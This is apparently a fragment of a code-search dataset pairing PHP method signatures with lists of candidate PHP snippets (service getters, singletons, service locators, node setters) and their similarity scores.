"protected function getFilesystemService()\n {\n return $this->services['filesystem'] = new \\phpbb\\filesystem\\filesystem();\n }",
"public function getShared(string $classIdentifier);",
"function getServiceName() { return $this->_servicename; }",
"public function getService()\n {\n return $this->getKey('Service');\n }",
"public static function service() {\n return self::$app->serviceContainer;\n }",
"public function getServiceLocator() \r\n { \r\n return $this->serviceLocator; \r\n }",
"protected function getFileLocatorService()\n {\n return $this->services['file_locator'] = new \\phpbb\\routing\\file_locator(${($_ = isset($this->services['filesystem']) ? $this->services['filesystem'] : ($this->services['filesystem'] = new \\phpbb\\filesystem\\filesystem())) && false ?: '_'}, './../');\n }",
"public function getService()\n\t{\n\t\treturn $this->_service;\n\t}",
"public function getNodeService();",
"public function getOffLocService()\n {\n return $this->offLocService;\n }",
"public function getService() : ?ServiceOTP\n {\n return $this->service;\n }",
"public function getService()\n\t{\n\t\treturn $this->service;\n\t}",
"private function get_serviceClass()\n\t{\n\t\treturn $this->m_serviceClass;\n\t}",
"public function getServiceLocator() \n { \n return $this->serviceLocator; \n }",
"public function getServiceLocator() \n { \n return $this->serviceLocator; \n }",
"protected function getTokenService(){\n\t\tif ($this->token_service == null) {\n\t\t\t$this->token_service = new \\Wallee\\Sdk\\Service\\TokenService(\\WalleeHelper::instance($this->registry)->getApiClient());\n\t\t}\n\t\t\n\t\treturn $this->token_service;\n\t}",
"public function getService()\n {\n return $this->_service;\n }",
"protected function getCache_SystemService()\n {\n return $this->services['cache.system'] = \\Symfony\\Component\\Cache\\Adapter\\AbstractAdapter::createSystemCache('oF4uGKF1Zr', 0, 'MYfBg2oUlptyQ7C3Ob4WQe', (__DIR__.'/pools'), $this->get('monolog.logger.cache', ContainerInterface::NULL_ON_INVALID_REFERENCE));\n }",
"public function getServiceId()\n {\n if (array_key_exists(\"serviceId\", $this->_propDict)) {\n return $this->_propDict[\"serviceId\"];\n } else {\n return null;\n }\n }",
"function getService() {\n return $this->service;\n }",
"public function getAppService()\n {\n return $this->getController()->getServiceLocator()->get('Application\\Service\\Service');\n }",
"public function getService() {\n return $this->service;\n }",
"public function getServiceLocator ()\n {\n return $this->serviceLocator;\n }",
"public static function shared()\n {\n static $instance = null;\n if( $instance === null )\n {\n $instance = new static();\n }\n return $instance;\n }",
"protected function getService()\n {\n return $this->service;\n }",
"protected function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getService()\n {\n return $this->service;\n }",
"public function getServiceLocator()\r\n {\r\n return $this->serviceLocator;\r\n }",
"public static function i(): ServicesFactory\n {\n return parent::getInstance();\n }",
"public function siteService() {\n return StatusBoard_SiteService::fromId($this->siteservice);\n }",
"function &singleton()\n {\n if (!isset($GLOBALS['_PHP_PARSER_MSGSERVER_INSTANCE'])) {\n $GLOBALS['_PHP_PARSER_MSGSERVER_INSTANCE'] = &new PHP_Parser_MsgServer;\n }\n return $GLOBALS['_PHP_PARSER_MSGSERVER_INSTANCE'];\n }",
"public function getService(): ?string\n {\n return $this->service;\n }",
"static function &getInstance(&$client) \n {\n \t $vfolder =& VFilesystem::local()->folder();\n \t return $vfolder;\n }",
"protected function getUriSignerService()\n {\n return $this->services['uri_signer'] = new \\Symfony\\Component\\HttpKernel\\UriSigner('0b1f529bfd1e2214cc16881ae978db041c8bee6f');\n }",
"private function _getAuthService()\n {\n if(!isset($this->authservice)) {\n $this->authservice = \\Application\\Util\\ServicesUtil::getAuthService($this->getServiceLocator());\n }\n return $this->authservice;\n }",
"public static function getInstance() {\r\n if (!Website_Service_Cache::$instance instanceof self) {\r\n Website_Service_Cache::$instance = new self();\r\n }\r\n return Website_Service_Cache::$instance;\r\n }",
"public function getServiceName()\n {\n if (array_key_exists(\"serviceName\", $this->_propDict)) {\n return $this->_propDict[\"serviceName\"];\n } else {\n return null;\n }\n }",
"function __get_service($service) {\n\n if ($this->services[$service] === null) {\n\n $url = $this->soap_endpoint.'/'.$service.'?wsdl';\n\n $this->services[$service] =\n $this->__create_soap_client($url, $this->soap_wsdl);\n\n }\n\n return $this->services[$service];\n\n}",
"protected function getWorkspaceService() {}",
"protected function getWorkspaceService() {}",
"public static function getServiceId(): string\n {\n return RequestInterface::class;\n }",
"protected function getVersionHelperService()\n {\n return new \\phpbb\\version_helper(${($_ = isset($this->services['cache']) ? $this->services['cache'] : $this->getCacheService()) && false ?: '_'}, ${($_ = isset($this->services['config']) ? $this->services['config'] : $this->getConfigService()) && false ?: '_'}, ${($_ = isset($this->services['file_downloader']) ? $this->services['file_downloader'] : ($this->services['file_downloader'] = new \\phpbb\\file_downloader())) && false ?: '_'}, ${($_ = isset($this->services['user']) ? $this->services['user'] : $this->getUserService()) && false ?: '_'});\n }",
"public static function getInstance()\n {\n\t\tif (self::$instance == null) {\n\t\t\tself::$instance = new ServiceProvider();\n\t\t}\n\t\treturn self::$instance;\n\t}",
"protected function getRouting_ResourcesLocator_DefaultService()\n {\n return $this->services['routing.resources_locator.default'] = new \\phpbb\\routing\\resources_locator\\default_resources_locator('./../', 'production', ${($_ = isset($this->services['ext.manager']) ? $this->services['ext.manager'] : $this->getExt_ManagerService()) && false ?: '_'});\n }",
"protected function getLiipImagine_Cache_SignerService()\n {\n return $this->services['liip_imagine.cache.signer'] = new \\Liip\\ImagineBundle\\Imagine\\Cache\\Signer('0b1f529bfd1e2214cc16881ae978db041c8bee6f');\n }",
"protected function getUserService()\n {\n return $this->services['user'] = new \\phpbb\\user(${($_ = isset($this->services['language']) ? $this->services['language'] : $this->getLanguageService()) && false ?: '_'}, '\\\\phpbb\\\\datetime');\n }",
"protected function getInstalledServices() {}",
"public function getHashService();",
"public function getLockerService();",
"protected function getTemplating_LocatorService()\n {\n return $this->services['templating.locator'] = new \\Symfony\\Bundle\\FrameworkBundle\\Templating\\Loader\\TemplateLocator($this->get('file_locator'), __DIR__);\n }",
"public static function factory(): ServiceInterface\n {\n return new static();\n }",
"public static function i() {\n\t\treturn self::_getSingleton(__CLASS__);\n\t}",
"final public function getServiceLocator()\n\t{\n\t\tif ($this->serviceLocator === NULL) {\n\t\t\t$this->serviceLocator = $this->parent === NULL\n\t\t\t\t? Environment::getServiceLocator()\n\t\t\t\t: $this->parent->getServiceLocator();\n\t\t}\n\n\t\treturn $this->serviceLocator;\n\t}",
"abstract public function getServiceTypeName();",
"private function get_service_consumer() {\r\n global $USER;\r\n $usrprefs = get_field('usr_account_preference', 'value', 'usr', $USER->get('id'), 'field', 'linkedinprofile');\r\n $service = new StdClass();\r\n $service->ssl = true;\r\n $service->apiurl = 'https://api.linkedin.com/v1/';\r\n $service->oauthurl = 'https://www.linkedin.com/uas/oauth2/';\r\n $service->key = get_config_plugin('blocktype', 'linkedinprofile', 'apikey');\r\n $service->secret = get_config_plugin('blocktype', 'linkedinprofile', 'secretkey');\r\n $service->callback = get_config('wwwroot') . 'blocktype/linkedinprofile/callback.php';\r\n $service->usrprefs = (!empty($userprefs) ? unserialize($usrprefs) : null );\r\n return $service;\r\n }",
"protected static function __instance()\n {\n return DiPool::getinstance()->getSingleton(static::class);\n }",
"public static function shared()\n {\n if (null === self::$instance) {\n self::$instance = new self();\n }\n\n return self::$instance;\n }",
"public function get($serviceName);",
"public function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"public function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"public function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"public function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"public function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"public function getServiceLocator()\n {\n return $this->serviceLocator;\n }",
"protected function service()\n {\n return new Service();\n }"
]
| [
"0.59940773",
"0.5697461",
"0.5642589",
"0.5585469",
"0.55740625",
"0.5473098",
"0.54289836",
"0.5428798",
"0.5424818",
"0.5389074",
"0.53751224",
"0.5364214",
"0.5353087",
"0.5334825",
"0.53288776",
"0.5325776",
"0.5325301",
"0.53201145",
"0.5307121",
"0.53054875",
"0.53014374",
"0.52978635",
"0.52819383",
"0.52652806",
"0.52506393",
"0.52485824",
"0.52370125",
"0.5233168",
"0.5227653",
"0.5215858",
"0.51831466",
"0.51759934",
"0.51706654",
"0.5166667",
"0.51379335",
"0.5123665",
"0.5104509",
"0.50958633",
"0.5091748",
"0.50821495",
"0.5074254",
"0.5063898",
"0.50624686",
"0.5061626",
"0.5061626",
"0.5060789",
"0.50590587",
"0.5023659",
"0.5005984",
"0.49952775",
"0.49933553",
"0.49893588",
"0.49875936",
"0.49829525",
"0.49779844",
"0.49779844",
"0.49746013",
"0.49746013",
"0.49746013",
"0.49746013",
"0.49746013",
"0.49746013",
"0.49746013",
"0.49698135",
"0.49694598",
"0.4958841",
"0.4958212",
"0.49574986",
"0.49481156",
"0.49475348",
"0.4942366",
"0.49388236",
"0.4937713",
"0.49375907",
"0.49321726",
"0.49321726",
"0.49280584",
"0.49268273",
"0.491791",
"0.49148118",
"0.4902104",
"0.48990947",
"0.48951426",
"0.4894597",
"0.48937434",
"0.4889877",
"0.48856407",
"0.487717",
"0.48725596",
"0.48704413",
"0.48564738",
"0.4848397",
"0.48376945",
"0.48222145",
"0.48176318",
"0.48176318",
"0.48176318",
"0.48176318",
"0.48176318",
"0.48176318",
"0.48119232"
]
| 0.0 | -1 |
Returns the unique identifier of this dependency | public function getIdentifier(); | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function identifier()\n {\n return $this->id;\n }",
"function getID() {\n\t\treturn $this->data_array['artifact_id'];\n\t}",
"public function uniqueId()\n {\n return $this->transaction->id;\n }",
"public function getUniqueId() {\n return $this->id;\n }",
"public function getUniqueId()\n {\n return $this->uniqueId;\n }",
"public function getUniqueId()\n {\n return $this->getParent()->getUniqueId() . \"_cg\" . $this->getId();\n }",
"public function getUniqueID()\n {\n return $this->uniqueID;\n }",
"public function getUniqueID()\n {\n return $this->uniqueID;\n }",
"final public function getId(){\n\t\tif($this->_id === false){\n\t\t\t$this->_id = $this->getNextId();\n\t\t}\n\t\treturn get_class($this) . \"_\" . $this->_id;\n\t}",
"public function getUniqueId()\n {\n return $this->unique_id;\n }",
"function getUniqueID(){\n\t\treturn $this->module.'_'.$this->ID;\n\t}",
"public function getUniqueId()\n {\n return $this->_uniqueId;\n }",
"function getUniqueID() {\r\n\t\treturn $this->uniqueID;\r\n\t}",
"public function getIdentifier()\n {\n return $this->id;\n }",
"public function getIdentifier()\n {\n return $this->getAttribute('metadata.name', null);\n }",
"public function uniqueId(): string\n {\n return $this->person->id;\n }",
"public function getId()\n {\n return $this->identifier;\n }",
"public function getUniqueId();",
"public function getUniqueId();",
"public function getUniqueId();",
"public function id()\n {\n if (!$this->_id)\n {\n $id = NULL;\n foreach ($this->assets AS $asset)\n {\n $id .= $asset->get('hash');\n }\n $this->_id = md5($id);\n }\n\n return $this->_id;\n }",
"public function identifier()\n {\n return $this->identifier;\n }",
"protected function getId() {\n // Since initializePurgersService() autogenerates the IDs, ours is known.\n return 'id0';\n }",
"public function id() {\n\t\tif ( null === $this->_id ) {\n\t\t\t$this->_id = sha1( mt_rand() . microtime( true ) . mt_rand() );\n\t\t}\n\n\t\treturn $this->_id;\n\t}",
"public static function getId() {\n return isset(self::$id)\n ? self::$id\n : (self::$id = base_convert(crc32(self::getBaseDir()),16,32));\n\t}",
"public function getUniqueId()\n {\n return '';\n }",
"public function getId()\n {\n return $this->getResolved()->getId();\n }",
"public function uniqueId()\n {\n return $this->contact->id;\n }",
"public function getIdentifier()\n {\n return 1;\n }",
"function getStringID() {\n\t\treturn '[#'.$this->data_array['artifact_id'].']';\n\t}",
"abstract public function getUniqueId();",
"public function getUuid() {\n\t\treturn $this->Persistence_Object_Identifier;\n\t}",
"public function getUuid() {\n\t\treturn $this->Persistence_Object_Identifier;\n\t}",
"public function getId()\n {\n if (!$this->id) {\n $this->id = md5(uniqid(rand(), true));\n }\n return $this->id;\n }",
"public function getId()\n {\n return md5(serialize([\n $this->no,\n $this->price,\n $this->weight\n ]));\n }",
"public function getId() {\n return ($this->isInit()) ? $this->id : null;\n }",
"public function getIdentifier() {\n\t\tif (empty($this->_id) && $this->_hasCategory) {\n\t\t\t$this->_id = $this->_getCategory()->getId();\n\t\t}\n\t\treturn $this->_id;\n\t}",
"public function get_identifier() {\n return $this->identifier;\n }",
"public static function id()\n {\n return self::$id;\n }",
"public function getId()\n {\n return isset($this->id) ? $this->id : '';\n }",
"public function getId()\n {\n return isset($this->id) ? $this->id : '';\n }",
"public function getIdentifier()\n {\n return $this->uid;\n }",
"public function getIdentifier() {\n\n\t\t// String Prefix muss vorhanden sein -> reiner Zahlenwert wirft Exception nach dem Absenden\n\t\t// @see: https://wiki.typo3.org/Exception/CMS/1210858767\n\t\treturn md5($this->contentObject->data['uid']);\n\t}",
"public function getId()\n {\n return $this->generateId($this->_active_controller, $this->_action);\n }",
"public function getPersistentId()\n {\n return $this->getResourceManager()->getPersistentId($this->getResourceId());\n }",
"public function getIdentifier(): string\n {\n return $this->identifier;\n }",
"public function getIdentifier(): string\n {\n return $this->identifier;\n }",
"public function getIdentifier(): string\n {\n return $this->identifier;\n }",
"public function getId()\n {\n return $this->id->getId();\n }",
"public function getIdentifier()\n {\n\n return $this->identifier;\n\n }",
"public function getIdentifier()\n {\n return $this->_identifier;\n }",
"public function getIdentifier()\n {\n return $this->_identifier;\n }",
"public function getIdentifier()\n {\n return $this->_identifier;\n }",
"public function getIdentifier()\n {\n return $this->_identifier;\n }",
"public function getSerialId()\n {\n return $this->get(self::_SERIAL_ID);\n }",
"public static function getID()\n {\n return self::getInstance()->_getID();\n }",
"public function getIdentifier()\n\t{\n\t\treturn $this->identifier;\n\t}",
"protected final function _getUniqueId()\n {\n // Because this method is not static, this counter will start at zero\n // for each class.\n static $counter = 0;\n\n $counter++;\n\n return get_class($this).$counter;\n }",
"public function getID() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn $this->orderId;\r\n\t}",
"protected function getUniqueId() {\n return -1; // Placeholder return for now\n }",
"public function getIdentifier() {\n\t\treturn $this->identifier;\n\t}",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier()\n {\n return $this->identifier;\n }",
"public function getIdentifier() : string\n\t{\n\t\treturn $this->identifier;\n\t}",
"public function getIdentifier() : string\n\t{\n\t\treturn $this->identifier;\n\t}",
"public function getId(){\n\t\t$className = get_class($this);\n\t\tif(isset(self::$_id[$className])){\n\t\t\treturn self::$_id[$className];\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}",
"public function getRefId()\n {\n return $this->refId;\n }",
"public function id()\n {\n return $this->resource->getKey();\n }",
"public function getReferenceIdentifier();",
"public function GetId()\n {\n return $this->GetAttribute(self::ATTR_ID);\n }",
"public function id()\n {\n return $this->getFromCache(\n ['type' => 'id']\n );\n }",
"public function getId() {\n\t\t$this->getDriver()->getId();\n\t}",
"public function getUniquekeyid()\n {\n return $this->uniquekeyid;\n }",
"public function id()\n {\n return $this->read($this->metadata['pk']->name);\n }",
"public function getIdentifier() {\n return $this->identifier;\n }",
"public function getIdentifier() {\n return $this->identifier;\n }",
"public function getArtifactId()\n {\n return $this->artifact_id;\n }",
"public function getIdKey()\n {\n\n if (is_null($this->idKey))\n $this->idKey = BuizCore::uniqKey();\n\n return $this->idKey;\n\n }",
"public function getId(){\n if(!$this->id){\n return $this->getShippingOptionId().'_'.md5($this->getShippingServiceName());\n }\n return $this->id;\n }",
"public function getUUID()\n {\n return $this->getPointer();\n }",
"function get_id()\n {\n return $this->get_default_property(self :: PROPERTY_ID);\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }",
"public function getId(): string\n {\n return $this->id;\n }"
]
| [
"0.72200745",
"0.71526337",
"0.7133265",
"0.71278095",
"0.70991266",
"0.7093918",
"0.70395523",
"0.70395523",
"0.7039101",
"0.703707",
"0.7026907",
"0.7026035",
"0.6962262",
"0.69562906",
"0.6917296",
"0.69122964",
"0.6907475",
"0.6905168",
"0.6905168",
"0.6905168",
"0.68661845",
"0.682974",
"0.67933667",
"0.6784381",
"0.6730838",
"0.6729515",
"0.6717892",
"0.6706008",
"0.66973096",
"0.6687659",
"0.6680777",
"0.66706437",
"0.66706437",
"0.6667692",
"0.66522044",
"0.6645725",
"0.6637401",
"0.66372055",
"0.663325",
"0.6623396",
"0.6623396",
"0.6622664",
"0.66140324",
"0.66016775",
"0.6587592",
"0.6585354",
"0.6585354",
"0.6585354",
"0.6574482",
"0.6560902",
"0.65477675",
"0.65477675",
"0.65477675",
"0.65477675",
"0.65404177",
"0.6532869",
"0.6531855",
"0.6529404",
"0.65293115",
"0.65222347",
"0.652014",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6517354",
"0.6512401",
"0.6512401",
"0.6511007",
"0.65068924",
"0.64944893",
"0.6492648",
"0.64849705",
"0.6480657",
"0.6477368",
"0.6474899",
"0.6466738",
"0.6464534",
"0.6464534",
"0.6462472",
"0.64584714",
"0.64545286",
"0.64504653",
"0.64410627",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134",
"0.64407134"
]
| 0.0 | -1 |
Set the to node | public function to(NodeInterface $node); | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function setTo(& $node)\n {\n $node->setFirstName('Lukas');\n\n $this->to = $node;\n }",
"public function setToNode(int $toNode): void {\n $this->toNode = $toNode;\n }",
"public static function setNode($node) {\r\n static::$node = $node;\r\n }",
"protected function setTo() {}",
"public function setNodeValue($value) {\n $this->nodeValue = $value;\n }",
"function setOperationnode($node){\n\t\t$this->operationNode = $node;\n\t}",
"public function setNode($pageId, $node, $value)\n\t{\n\t\t//fetch row if exists\n\t\t$select = $this->select();\n\t\t$select->where(\"page_id=?\", $pageId)->\n\t\t\twhere(\"node=?\", $node);\n\t\t$row = $this->fetchRow($select);\n\t\t\n\t\t//if it doesn't exist, create it\n\t\tif(!$row)\n\t\t{\n\t\t\t$row = $this->createRow();\n\t\t\t$row->page_id = $pageId;\n\t\t\t$row->node = $node;\n\t\t}\n\t\t\n\t\t//set the node contents\n\t\t$row->content = $value;\n\t\t$row->save();\n\t}",
"protected function setNodeId($node): void\n {\n $elementId = $this->getNodeId($node);\n\n $this->nodeId = $elementId;\n }",
"public function testSetNode()\n {\n $node = new Fluent();\n $node->test = 'test';\n $this->response->setNode($node);\n $this->assertEquals($this->response->test, $node->test);\n $this->assertEquals([\n 'test' => 'test'\n ], $this->response->toArray());\n }",
"public function setNode($node)\n {\n parent::setNode($node);\n\n $defaultsize = config('elasticblue.pagination');\n\n foreach ($node->relationTypes as $rel) {\n\n $rel->relations['in'] = array_slice($rel->relations['in'], 0, $defaultsize);\n $rel->relations['out'] = array_slice($rel->relations['out'], 0, $defaultsize);\n }\n $this->relationTypes = $node->relationTypes;\n $this->nodeTypes = $node->nodeTypes;\n\n $this->timestamp = now()->toIso8601String();\n\n return $this;\n }",
"public function setNodeId($id);",
"public function setNamedItem($node) { }",
"public function set(string $name, string $value = null): NodeInterface;",
"public function setFromNode(int $fromNode): void {\n $this->fromNode = $fromNode;\n }",
"public function applyToNode(Node $node);",
"private function setNode(\n SimpleXMLElement $rootNode,\n $nodeName,\n $value = null,\n $attributes = array(),\n $cnss = array(),\n $anss = array(),\n $position = null\n ) {\n $node = $this->findNode($rootNode, $nodeName, $attributes, array_merge($cnss, $anss));\n\n if (isset($node)) {\n if ($value !== null) {\n $node[0] = $value;\n }\n\n return $node;\n }\n\n return $this->addNode($rootNode, $nodeName, $value, $attributes, $cnss, $anss, $position);\n }",
"public function setCurrentNode(NavigationNode $node)\n\t{\n\t\tif (isset($this->current)) {\n\t\t\t$this->current->isCurrent = false;\n\t\t}\n\t\t$node->isCurrent = true;\n\t\t$this->current = $node;\n\t}",
"public function __set($name, $value)\n {\n $this->m_current_clusternode->$name = $value;\n }",
"function apply($node)\r\n\t\t{\r\n\t\t\t$this->address = $node->address;\r\n\t\t\t$this->elements = $node->elements;\r\n\t\t\t$this->size = $node->size;\r\n\t\t\t$this->parent = $node->parent;\r\n\t\t\t$this->less = $node->less;\r\n\t\t\t$this->previous = $node->previous;\r\n\t\t\t$this->next = $node->next;\r\n\t\t}",
"abstract public function set();",
"public function linkTo(UXNode $node)\n {\n \n }",
"public function pushNode( $node );",
"public function setToStatusNode($value)\n {\n if (is_array($value)) {\n $value = new Carerix_Api_Rest_Entity_CRDataNode($value);\n }\n $this->toStatusNode = $value;\n return $this;\n }",
"public function set ($key, $value) {\n\t\t$this->root = $this->setLoop($key, $value, $this->root);\n\t}",
"public function setNid($nid) {\n $this->nid = $nid;\n }",
"public function setCurrentNode(Node $node) : Node\n {\n $this->currentNode = $node;\n\n return $this->currentNode;\n }",
"protected function setElementContent($node, $value)\n\t{\n\t\tif ($node->tagName == 'input') {\n\t\t\t$node->setAttribute('value', $value);\n\t\t} else if ($node->tagName == 'img') {\n\t\t\t$node->setAttribute('src', $value);\n\t\t} else if ($node->tagName == 'a') {\n\t\t\t$node->setAttribute('href', $value);\n\t\t} else if ($node->tagName == 'meta') {\n\t\t\t$node->setAttribute('content', $value);\n\t\t} else {\n\t\t\t$node->nodeValue = htmlentities($value);\n\t\t}\n\t}",
"public function setRoot(&$node):RootedGraph;",
"function updateObjectReference()\n\t{\n\t\tif (is_object($this->mob_node))\n\t\t{\n\t\t\t$this->mal_node =& $this->mob_node->first_child();\n\t\t\tif (is_object($this->mal_node) && $this->mal_node->node_name() == \"MediaAlias\")\n\t\t\t{\n\t\t\t\t$this->mal_node->set_attribute(\"OriginId\", \"il__mob_\".$this->getMediaObject()->getId());\n\t\t\t}\n\t\t}\n\t}",
"public function setToCell(Cell &$Cell);",
"function setValSubNode($nombre,$valor){\n\t\t$clase=$this->nmclass;\n\t\t$this->nodos[$clase][$nombre]=$valor;\n\t\t$this->anode=$nombre;\n\t\treturn 0;\n\t}",
"public function setParent(Node $parent)\n {\n $this->parent = $parent;\n }",
"public function setAsShadowOf(NodeData $nodeData = NULL) {\n\t\t$this->setMovedTo($nodeData);\n\t\t$this->setRemoved(($nodeData !== NULL));\n\t\t$this->addOrUpdate();\n\t}",
"public function setValue ( $value ) {\n\n if(!($value instanceof \\Hoa\\Tree\\ITree\\Node))\n $value = new \\Hoa\\Tree\\SimpleNode(md5($value), $value);\n\n $old = $this->_value;\n $this->_value = $value;\n\n return $old;\n }",
"public function transferFromDOM($node)\n {\n $this->_ccrDom = $node;\n }",
"function SetOriginalNode($node)\r\n\t{\r\n\t\tparent::SetOriginalNode($node);\r\n\t\t\r\n\t\t//now load controls for this row element\r\n\t\tParser::ParseForControls($this, $node);\r\n\t\t\r\n\t\t\r\n\t}",
"public function enterNode(Node $node)\n {\n }",
"function setRoot($value)\r\n {\r\n $this->_root=$value;\r\n //Gets the vars from the root object to get the pointers for the components\r\n $this->_rootvars=get_object_vars($this->_root);\r\n\r\n //Clears parents list and sets the root as the first parent\r\n $this->_parents->clear();\r\n $this->_parents->add($this->_root);\r\n\r\n }",
"function setTo($to_set){\n\t\t\t$this->to=$to_set;\n\t\t}",
"public function setParentIdValue(BaseObject $node, $value)\n {\n $setter = self::forgeMethodName($node, 'set', 'parent');\n return $node->$setter($value);\n }",
"public function setRootNode( ezcTreeNode $node )\n {\n $db = $this->dbh;\n\n $q = $db->createDeleteQuery();\n $q->deleteFrom( $db->quoteIdentifier( $this->indexTableName ) );\n $s = $q->prepare();\n $s->execute();\n $this->store->deleteDataForAllNodes();\n\n $q = $db->createInsertQuery();\n $q->insertInto( $db->quoteIdentifier( $this->indexTableName ) )\n ->set( 'parent_id', \"null\" )\n ->set( 'id', $q->bindValue( $node->id ) );\n $s = $q->prepare();\n $s->execute();\n\n $this->store->storeDataForNode( $node, $node->data );\n }",
"public function setActive(NodeInterface $active)\n {\n $this->active = $active;\n }",
"protected function setCurrentClusterNode($mode)\n {\n if (!$this->m_current_clusternode || !$this->m_current_clusternode->hasMode($mode))\n {\n if ($mode==='r' && !empty($this->m_readonly_nodes_config)) { $this->setRandomNodeFromNodeConfigs($this->m_readonly_nodes_config,$mode); }\n else if ($mode==='w' && !empty($this->m_writeonly_nodes_config)) { $this->setRandomNodeFromNodeConfigs($this->m_writeonly_nodes_config,$mode); }\n else { $this->setRandomNodeFromNodeConfigs($this->m_nodes_config ,$mode); }\n }\n }",
"private function pushNode(\\DOMElement $node)\r\n {\r\n $this->currentNode = $this->currentNode->appendChild($node);\r\n }",
"public function setNodeAsNull(\\DOMElement $node) {\n\t\t$node->setAttributeNS(self::NIL_URI, self::NULL_VALUE, 'true');\n\t}",
"function SetTreeData($data){\n $this->InitControl($data);\n\n }",
"public function setLeftValue(BaseObject $node, $value)\n {\n $setter = self::forgeMethodName($node, 'set', 'left');\n return $node->$setter($value);\n }",
"public function shiftNode();",
"public function setValue(&$node, $value, $name = null, $asNode = false) {\n\t\tif (!($node instanceof \\DOMElement)) {\n\t\t\tthrow new ArgumentException($node, '\\DOMElement', 1);\n\t\t}\n\t\tif ($value instanceof \\DOMNode) {\n\t\t\tif ($node->ownerDocument !== $value->ownerDocument) {\n\t\t\t\t$value = $node->ownerDocument->importNode($value, true);\n\t\t\t}\n\t\t\t$node->appendChild($value);\n\t\t} else {\n\t\t\tif ($asNode) {\n\t\t\t\t$childNode = $node->appendChild($node->ownerDocument->createElement($name));\n\t\t\t\tif (is_null($value)) {\n\t\t\t\t\t$this->setNodeAsNull($childNode);\n\t\t\t\t} else {\n\t\t\t\t\t$childNode->appendChild($childNode->ownerDocument->createTextNode($value));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (is_null($value)) {\n\t\t\t\t\t$childNode = $node->appendChild($node->ownerDocument->createElement($name));\n\t\t\t\t\t$this->setNodeAsNull($childNode);\n\t\t\t\t} else {\n\t\t\t\t\t$node->setAttribute($name, $value);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"function putInTree()\n\t{\n//echo \"st:putInTree\";\n\t\t// chapters should be behind pages in the tree\n\t\t// so if target is first node, the target is substituted with\n\t\t// the last child of type pg\n\t\tif ($_GET[\"target\"] == IL_FIRST_NODE)\n\t\t{\n\t\t\t$tree = new ilTree($this->content_object->getId());\n\t\t\t$tree->setTableNames('lm_tree','lm_data');\n\t\t\t$tree->setTreeTablePK(\"lm_id\");\n\n\t\t\t// determine parent node id\n\t\t\t$parent_id = (!empty($_GET[\"obj_id\"]))\n\t\t\t\t? $_GET[\"obj_id\"]\n\t\t\t\t: $tree->getRootId();\n\t\t\t// determine last child of type pg\n\t\t\t$childs =& $tree->getChildsByType($parent_id, \"pg\");\n\t\t\tif (count($childs) != 0)\n\t\t\t{\n\t\t\t\t$_GET[\"target\"] = $childs[count($childs) - 1][\"obj_id\"];\n\t\t\t}\n\t\t}\n\t\tif (empty($_GET[\"target\"]))\n\t\t{\n\t\t\t$_GET[\"target\"] = IL_LAST_NODE;\n\t\t}\n\n\t\tparent::putInTree();\n\t}",
"public function setParent(Module_Node_Model $parent = null);",
"public function update($data)\n {\n\n// $this->node->getF\n }",
"function load($node) {\n if (method_exists($node, 'valueOf')) {\n $this->set($node->valueOf());\n } else {\n $this->set($node->nodeValue);\n }\n }",
"public function set($child) {\n\t\t$this->childs = array($child);\n\t}",
"public function completeNode() {\n $this->current = $this->current->parent();\n }",
"public function setPosition() {\n }",
"public function setNodeName($name);",
"public function updateNode($type) {\n $this->current->updateType($type);\n }",
"public function setFormNode($formIdentifier, \\Neos\\ContentRepository\\Domain\\Model\\NodeInterface $node)\n {\n $this->formNodes[$formIdentifier] = $node;\n }",
"function SetParent(&$ParentNode)\n {\n $this->ParentNode = &$ParentNode;\n $this->Level = $this->ParentNode->Level + 1;\n }",
